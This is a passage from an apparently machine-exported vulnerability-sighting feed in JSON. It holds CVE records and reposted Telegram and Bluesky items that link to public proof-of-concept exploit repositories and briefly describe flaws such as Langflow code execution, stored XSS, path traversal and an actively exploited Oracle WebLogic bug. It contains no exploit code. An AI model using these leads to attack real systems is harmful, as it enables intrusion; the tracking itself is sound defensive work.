\u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-14 23:40:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-16T12:00:06.527210Z"}, {"uuid": "d5f48cba-3e65-4d75-9434-e59745a4a2f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17107", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected for research and analysis.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-2631\n\ud83c\udfaf Enterprise Application Vulnerability \u2013 Public PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Nxploited/CVE-2026-2631\n\n\ud83e\udde0 Overview\nA Proof-of-Concept is available for CVE-2026-2631, demonstrating exploitation paths related to application-level input handling and system behavior.\n\n\u2699\ufe0f Impact\n\u2022 Application compromise\n\u2022 Potential privilege abuse\n\u2022 Exploitation path analysis\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-32941\n\ud83c\udfaf Sliver C2 \u2013 Remote Denial of Service (OOM Crash)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/skoveit/CVE-2026-32941\n\n\ud83e\udde0 Overview\nA vulnerability in the Sliver C2 framework allows attackers to trigger a remote Out-of-Memory condition by abusing message size handling.\n\n\u2699\ufe0f Impact\n\u2022 Remote denial of service\n\u2022 C2 infrastructure disruption\n\u2022 Operational instability\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-3888\n\ud83c\udfaf Application-Level Vulnerability \u2013 PoC Exploit\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/netw0rk7/CVE-2026-3888-PoC\n\n\ud83e\udde0 Overview\nA PoC demonstrating exploitation of an application-layer vulnerability via crafted requests and abnormal input conditions.\n\n\u2699\ufe0f Impact\n\u2022 Service disruption\n\u2022 Input validation bypass\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-32746\n\ud83c\udfaf System Vulnerability \u2013 Research PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/jeffaf/cve-2026-32746\n\n\ud83e\udde0 Overview\nThis repository provides a PoC demonstrating potential exploitation paths affecting system-level behavior.\n\n\u2699\ufe0f Impact\n\u2022 System instability\n\u2022 Privilege misuse scenarios\n\u2022 Research and testing value\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-21992\n\ud83c\udfaf Web Application Vulnerability \u2013 Exploit PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/TEXploited/CVE-2026-21992\n\n\ud83e\udde0 Overview\nA web-based vulnerability with a PoC demonstrating exploitation through crafted input and request manipulation.\n\n\u2699\ufe0f Impact\n\u2022 Web application compromise\n\u2022 Data exposure\n\u2022 Potential RCE chain\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit behavior analysis\n\u2022 Vulnerability validation\n\u2022 Red team / blue team exercises\n\u2022 Threat intelligence research\n\n\u26a0\ufe0f Notice\nSome CVE-related repositories may be redistributed or reused in different contexts.\nAlways verify PoC code before execution.\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:10.630367Z"}, {"uuid": "bf4497d9-6622-432a-81f0-7aadf4cb2fc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-30)", "content": "", "creation_timestamp": "2026-08-31T10:15:10.631215Z"}, {"uuid": "f7a19a0a-eae7-47e1-bb36-e6bccc94f2df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21756", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mttnverusu2b", "content": "HCL Hive \u306e\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u4e0d\u5099\u306b\u3088\u308a\u3001\u653b\u6483\u8005\u304c\u691c\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u60aa\u610f\u3042\u308b\u30b3\u30fc\u30c9\u3092\u672c\u756a\u74b0\u5883\u306b\u76f4\u63a5\u5c0e\u5165\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\nCVE-2026-21756 CVSS 7.2 | HIGH", "creation_timestamp": "2026-08-24T15:51:47.667539Z"}, {"uuid": "a8040ea6-540e-43d7-b083-8d4774b60113", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21710", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17110", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, based on the latest observed activity.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-31900\n\ud83c\udfaf GitHub Action (Black) \u2013 Arbitrary Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Batosay1337Lab/CVE-2026-31900\n\n\ud83e\udde0 Overview\nA vulnerability in GitHub Actions using the Black formatter allows attackers to inject malicious repository references via pyproject.toml, leading to arbitrary code execution in CI environments.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary code execution in CI/CD\n\u2022 Secret leakage risk\n\u2022 Supply chain attack vector\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-29598\n\ud83c\udfaf Acora CMS \u2013 Stored XSS\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/padayali-JD/CVE-2026-29598\n\n\ud83e\udde0 Overview\nMultiple stored XSS vulnerabilities allow attackers to inject malicious scripts via user input fields such as first and last name.\n\n\u2699\ufe0f Impact\n\u2022 Stored XSS\n\u2022 Session hijacking\n\u2022 Persistent client-side attacks\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-22200\n\ud83c\udfaf osTicket \u2013 Arbitrary File Read via PDF Export\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Remnant-DB/CVE-2026-22200\n\n\ud83e\udde0 Overview\nA vulnerability in osTicket allows attackers to embed crafted HTML into tickets, which leads to arbitrary file read when exporting to PDF.\n\n\u2699\ufe0f Impact\n\u2022 Sensitive file disclosure\n\u2022 Server-side data leakage\n\u2022 Unauthorized file access\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-21710\n\ud83c\udfaf Node.js HTTP Server \u2013 Potential Exploitation Path\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/dajneem23/CVE-2026-21710\n\n\ud83e\udde0 Overview\nA vulnerability affecting Node.js HTTP servers may allow exploitation depending on server configuration and request handling logic.\n\n\u2699\ufe0f Impact\n\u2022 Server-side exploitation\n\u2022 Application instability\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-5252\n\ud83c\udfaf Admin Panel \u2013 Cross-Site Scripting (XSS)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/aydin5245/CVE-2026-5252-CVE-POC-ivanti\n\n\ud83e\udde0 Overview\nA reflected XSS vulnerability allows attackers to execute arbitrary JavaScript through crafted requests targeting message endpoints.\n\n\u2699\ufe0f Impact\n\u2022 Cross-site scripting\n\u2022 Session hijacking\n\u2022 Client-side exploitation\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Real-world PoC validation\n\u2022 CI/CD attack surface analysis\n\u2022 Web vulnerability exploitation patterns\n\u2022 Threat intelligence tracking\n\n\u26a0\ufe0f Important Note\nRecent GitHub trends show increasing risks:\n\u2022 Fake CVE advisories and malicious PoC distribution campaigns targeting developers\n\ud83d\udc49 Always verify PoC code before execution.\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:10.953810Z"}, {"uuid": "d169e055-0b52-42e0-996a-476700bbc5de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "exploited", "source": "https://t.me/true_secator/8543", "content": "CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Oracle WebLogic, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-21962 \u0438 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 WebLogic.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 10 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Oracle HTTP Server \u0438 \u043f\u043b\u0430\u0433\u0438\u043d WebLogic Server Proxy, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0441\u0432\u044f\u0437\u044c HTTP Server \u0441 WebLogic.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432. Oracle \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0432\u043e\u0438\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u043e\u0442 \u044f\u043d\u0432\u0430\u0440\u044f 2026 \u0433\u043e\u0434\u0430.\u00a0\n\n24 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 CVE-2026-21962 \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (KEV). \u041e\u0434\u043d\u0430\u043a\u043e \u043d\u0435\u044f\u0441\u043d\u043e, \u043a\u0430\u043a\u0438\u0435 \u0438\u043c\u0435\u043d\u043d\u043e \u0430\u0442\u0430\u043a\u0438 \u0432\u044b\u0437\u0432\u0430\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441 \u044f\u043d\u0432\u0430\u0440\u044f, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u0435\u0440\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b CloudSEK.\n\n\u0412 \u043c\u0430\u0440\u0442\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0441 22 \u044f\u043d\u0432\u0430\u0440\u044f, \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u0432 \u0435\u0435 \u043b\u043e\u0432\u0443\u0448\u043a\u0430\u0445 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0431\u044b\u043b\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Oracle WebLogic.\n\nFalconFeeds \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u043b \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u044e\u043d\u0435 \u0432 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0435\u0439\u00a0Cybercrime Supply Chain. \u042d\u0442\u043e \u0431\u044b\u043b\u0430 \u043e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0442\u0438\u0432 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0439, \u043d\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0431\u044b\u043b\u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b.\u00a0\n\n\u0412 \u0438\u044e\u043b\u0435 SOCRadar \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e CVE-2026-21962 \u0431\u044b\u043b\u0430 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 APT \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c, WebLogic \u0447\u0430\u0441\u0442\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u043c\u0438\u0448\u0435\u043d\u044c\u044e \u0434\u043b\u044f \u0445\u0430\u043a\u0435\u0440\u043e\u0432. \u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 KEV \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u0434\u0435\u0441\u044f\u0442\u043a\u0430 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.", "creation_timestamp": "2026-08-25T17:00:04.497949Z"}, {"uuid": "62139f84-326a-4d34-9bab-0bde4778a31d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/stridingtech.bsky.social/post/3mtwcdve53p2y", "content": "Oracle's max-severity vulnerability CVE-2026-21962 is now under active exploitation in the wild, prompting CISA to add it to the KEV catalog. Immediate patching is critical. #Cybersecurity https://stridingtech.com/archives/6425", "creation_timestamp": "2026-08-25T17:03:09.083458Z"}, {"uuid": "b3f837cb-a060-441b-86e4-43203941d65b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/hexonbot.bsky.social/post/3mtwdycjaxx2m", "content": "CVE-2026-21962 is now under active exploitation, turning Oracle WebLogic proxy exposure into a 72-hour patching problem. Here is the response plan: https://www.hexon.bot/blog/oracle-weblogic-vulnerability-72-hour-patching-emergency #Cybersecurity #WebLogic", "creation_timestamp": "2026-08-25T17:32:28.111983Z"}, {"uuid": "12da2f04-6026-4730-bb63-61dac62fbe71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21440", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17215", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 GitHub Fresh PoC CVE TOP 5 (Today / Verified & Non-Posted Priority)\nBelow are latest 2026 CVEs with real, accessible GitHub PoC repositories only.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-0770\n\ud83c\udfaf Langflow \u2013 Unauthenticated RCE (AI Pipeline)\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/affix/CVE-2026-0770-PoC\n\n\ud83e\udde0 Overview\nLangflow executes user-controlled Python code via unsafe exec() usage, enabling unauthenticated remote code execution.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 AI pipeline compromise\n\u2022 Data exfiltration risk\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-22804\n\ud83c\udfaf Termix (Electron App) \u2013 XSS \u2192 LFI \u2192 Session Hijack\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/ThemeHackers/CVE-2026-22804\n\n\ud83e\udde0 Overview\nA stored XSS vulnerability leads to Local File Inclusion and session hijacking in an Electron-based environment.\n\n\u2699\ufe0f Impact\n\u2022 Session hijacking\n\u2022 Local file access\n\u2022 Desktop application compromise\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-41242\n\ud83c\udfaf protobufjs \u2013 Arbitrary Code Execution (Supply Chain)\n\n\ud83d\udd17 Reference\n\u27a1\ufe0f https://github.com/advisories/GHSA-xq3m-2v4x-88gg\n\n\ud83e\udde0 Overview\nImproper protobuf compilation allows injection of malicious logic, leading to arbitrary code execution in JavaScript environments.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Supply chain compromise\n\u2022 Backend system risk\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-21440\n\ud83c\udfaf AdonisJS BodyParser \u2013 Path Traversal \u2192 Arbitrary File Write\n\n\ud83d\udd17 Reference\n\u27a1\ufe0f https://github.com/topics/cve-2026-21440\n\n\ud83e\udde0 Overview\nA path traversal flaw allows attackers to write arbitrary files, which may lead to further exploitation.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file write\n\u2022 Server compromise\n\u2022 Potential RCE chaining\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-5031\n\ud83c\udfaf ISP Billing Software \u2013 IDOR \u2192 Unauthorized Access\n\n\ud83d\udd17 Reference\n\u27a1\ufe0f https://www.tenable.com/cve/CVE-2026-5031\n\n\ud83e\udde0 Overview\nImproper access control allows attackers to access restricted data by manipulating identifiers.\n\n\u2699\ufe0f Impact\n\u2022 Unauthorized access\n\u2022 Data exposure\n\u2022 Privilege abuse\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 AI/LLM exploitation (Langflow)\n\u2022 Electron-based attack chains\n\u2022 Supply chain vulnerabilities\n\u2022 File write \u2192 RCE chaining\n\u2022 Access control bypass techniques\n\n\u26a0\ufe0f Intelligence Note\nCurrent GitHub trend:\n\u2022 Rapid PoC publication after disclosure\n\u2022 AI frameworks emerging as key targets\n\u2022 Supply-chain vulnerabilities increasing\n\u2022 Exploit chains becoming more common\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:29.491739Z"}, {"uuid": "cec76d50-6a0f-43c8-9ede-9961a4ae1449", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/rankednews.bsky.social/post/3mtwfog4udw2x", "content": "CISA slaps its tightest three-day patching deadline on perfect-10 Oracle flaw: CISA has imposed its strictest three-day patching deadline on a maximum-severity Oracle vulnerability, CVE-2026-21962, which affects Oracle's HTTP Server and WebLogic Server Proxy Plug-in.\u2026 https://ranked.news/1287573?u=b", "creation_timestamp": "2026-08-25T18:02:43.920606Z"}, {"uuid": "6aefcb20-aeaf-4b96-8fd6-6c8fd6d0eaa5", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/33d639fe-e740-43e1-b7b4-911845df8119", "content": "", "creation_timestamp": "2026-08-26T16:00:26.851778Z"}, {"uuid": "728aa707-a15e-4a33-85d7-03a97891a1c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21045", "type": "seen", "source": "Telegram/aLUBIgd1oXw2vuhuFf6alCjtWAQyS8DwghI3-yppd5LMZjw", "content": "", "creation_timestamp": "2026-07-16T19:00:04.490737Z"}, {"uuid": "21756a33-2ce0-436b-9d03-37dd057a16c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21045", "type": "seen", "source": "Telegram/fnq-HCCIjbhzeI4TC1ixQu82pH2CpmWc72Tdnvx0IlMjFVI", "content": "", "creation_timestamp": "2026-07-16T19:00:04.613077Z"}, {"uuid": "1902bec7-a8d7-4a2d-a8c9-63d82acb0866", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21048", "type": "seen", "source": "Telegram/aLUBIgd1oXw2vuhuFf6alCjtWAQyS8DwghI3-yppd5LMZjw", "content": "", "creation_timestamp": "2026-07-16T19:00:04.791337Z"}, {"uuid": "a884ede9-cda2-44f9-9694-40797cf4e6dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21055", "type": "seen", "source": "Telegram/QdzD9DvvDiZVCCtutZSsvQxTpO1V7_q_erc07mQ-hW5Zm-8", "content": "", "creation_timestamp": "2026-07-16T19:00:11.110832Z"}, {"uuid": "d22bbca4-fc84-4e4c-a98f-1e9e9386823a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21045", "type": "published-proof-of-concept", "source": "Telegram/fnq-HCCIjbhzeI4TC1ixQu82pH2CpmWc72Tdnvx0IlMjFVI", "content": "", "creation_timestamp": "2026-07-17T00:00:26.027467Z"}, {"uuid": "2dc3b462-a0db-44e5-9f18-a33d97c1ca27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21048", "type": "published-proof-of-concept", "source": "Telegram/aLUBIgd1oXw2vuhuFf6alCjtWAQyS8DwghI3-yppd5LMZjw", "content": "", "creation_timestamp": "2026-07-17T00:00:26.113433Z"}, {"uuid": "869a753f-4d4d-4dc1-9eac-8f64f6cb2c8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21045", "type": "published-proof-of-concept", "source": "Telegram/aLUBIgd1oXw2vuhuFf6alCjtWAQyS8DwghI3-yppd5LMZjw", "content": "", "creation_timestamp": "2026-07-17T00:00:26.352432Z"}, {"uuid": "203aa1fd-8b83-4ed8-b697-af2c6d2db31a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21628", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/93441", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21628-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a webshellseo8\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-14 23:40:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-17T00:00:53.096295Z"}, {"uuid": "cfe7b48d-6c8c-483f-820b-ddfaffa07fd8", 